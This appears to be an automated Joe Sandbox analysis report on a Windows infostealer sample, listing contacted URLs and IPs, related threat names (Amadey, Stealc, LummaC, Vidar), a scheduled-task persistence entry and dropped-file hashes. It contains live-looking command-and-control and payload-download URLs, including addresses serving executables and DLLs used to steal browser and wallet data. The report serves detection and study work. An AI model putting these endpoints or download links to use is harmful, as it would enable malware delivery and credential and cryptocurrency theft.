https://tse1.mm.bing.net/th?id=OADD2.10239395019081_1G8JFT41D9TYPNUJJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381963596_1EZBDO21TSG77E89L&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239340418601_1XRLHD1YRS9ZZSDWX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360494465_1WL11PE3QHWZ3Q9V1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360172384_1T8ZHTG4V2CH7K983&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239395019080_17DEM3LK5H7QUOJTP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360172398_1SAKF1TLLO2IFUJXJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239340418602_13EDNGC3ZL2WGZFXN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
http://www.broofa.com	chromecache_213.4.dr	false		high
http://31.41.244.11/files/6554834407/ZdGtikR.exep	skotes.exe, 00000016.00000002.3410220346.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpAy	skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/:	file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll9	file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpe	file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	false		high
http://31.41.244.11/	skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	chromecache_213.4.dr	false		high
http://31.41.244.11/files/6554834407/ZdGtikR.exe$0	skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/ows	skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	false		high
http://31.41.244.11/files/6554834407/ZdGtikR.exe	skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
http://31.41.244.11/files/6554834407/ZdGtikR.exeXYZ0123456789	skotes.exe, 00000016.00000002.3410220346.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com	chromecache_213.4.dr	false		high
http://185.215.113.206ta	file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2766044396.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/6554834407/ZdGtikR.exe5	skotes.exe, 00000016.00000002.3410220346.0000000000D4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll0/	file.exe, 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GDAEBKJDHDAFIECBAKKJ.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
http://31.41.244.11/kR.exeJuNko/index.php	skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
http://31.41.244.11/files/6554834407/ZdGtikR.exe:	skotes.exe, 00000016.00000002.3410220346.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll_	file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000000.00000002.2758865531.000000000B91F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_213.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K	file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	false		high
http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php3A	file.exe, 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org	KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2746505709.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllW	file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllY	file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.142	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571002
Start date and time:	2024-12-08 17:44:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/54@8/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 217.20.58.101, 216.58.208.227, 172.217.19.238, 64.233.162.84, 172.217.17.46, 142.250.181.99, 172.217.19.234, 142.250.181.138, 142.250.181.74, 172.217.17.74, 172.217.17.42, 142.250.181.106, 142.250.181.42, 172.217.19.202, 172.217.21.42, 172.217.19.10, 142.250.181.10, 172.217.19.170
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, tse1.mm.bing.net, clientservices.googleapis.com, ogads-pa.googleapis.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ris.api.iris.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ocsp.edge.digicert.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:45:36	API Interceptor	287x Sleep call for process: file.exe modified
11:47:01	API Interceptor	79x Sleep call for process: skotes.exe modified
17:46:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.28.10
	3qvTuHPZz2.exe	Get hash	malicious	Meduza Stealer	Browse	150.171.27.10
	file.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	JHiOAQekpj.exe	Get hash	malicious	Akira	Browse	150.171.27.10
	XcHLlyubFA.exe	Get hash	malicious	Akira	Browse	150.171.28.10
	abcoTE52hg.exe	Get hash	malicious	Akira	Browse	150.171.28.10
	ZmhpSGsGme.exe	Get hash	malicious	Akira	Browse	150.171.27.10
	file.exe	Get hash	malicious	Stealc	Browse	150.171.27.10
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10
	file.exe	Get hash	malicious	Credential Flusher	Browse	150.171.28.10
play.google.com	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=71STY9b6g0G2TUGL0emS8wWPU1E0zmFNnR9SsYf1SC9UREdRTE8xR1FQUFdYSk5WRlZXQ0ZJSlg4NS4u	Get hash	malicious	HTMLPhisher	Browse	172.217.19.206
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	https://inovamora.com/team/index.html	Get hash	malicious	HTMLPhisher	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
fp2e7a.wpc.phicdn.net	file.exe	Get hash	malicious	AveMaria, StormKitty, VenomRAT	Browse	192.229.221.95
	3qvTuHPZz2.exe	Get hash	malicious	Meduza Stealer	Browse	192.229.221.95
	7rTjhbfF6L.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	5386.pdf.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	file.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	startuppp.bat	Get hash	malicious	Unknown	Browse	192.229.221.95
	nwindowsdll.msi	Get hash	malicious	AteraAgent	Browse	192.229.221.95
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.229.221.95
	yMR3bF5WX4.exe	Get hash	malicious	Akira	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	S1NrYNOYhZ.exe	Get hash	malicious	Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	file.exe	Get hash	malicious	Stealc	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	AveMaria, StormKitty, VenomRAT	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	http://sarcomawmawlhov7o5mdhz4eszxxlkyaoiyiy2b5iwxnds2dmb4jakad.onion	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
	List of required items.vbs	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.17 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	3qvTuHPZz2.exe	Get hash	malicious	Meduza Stealer	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	73cceb_de0cf39691b24825b9733575e081f7fa.rtf	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	Outstanding_Payment.vbs	Get hash	malicious	XenoRAT	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	Outstanding_Payment.vbs_.vbs	Get hash	malicious	XenoRAT	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	Outstanding_Payment.vbs_.vbs	Get hash	malicious	XenoRAT	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	file.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72
	BGM LAW GROUP - RFP 2024.pdf	Get hash	malicious	Unknown	Browse	150.171.27.10 20.234.120.54 2.16.158.187 20.223.36.55 2.16.158.72

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	S1NrYNOYhZ.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DAECGCGHCGHCAKECBKJKEHJDBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
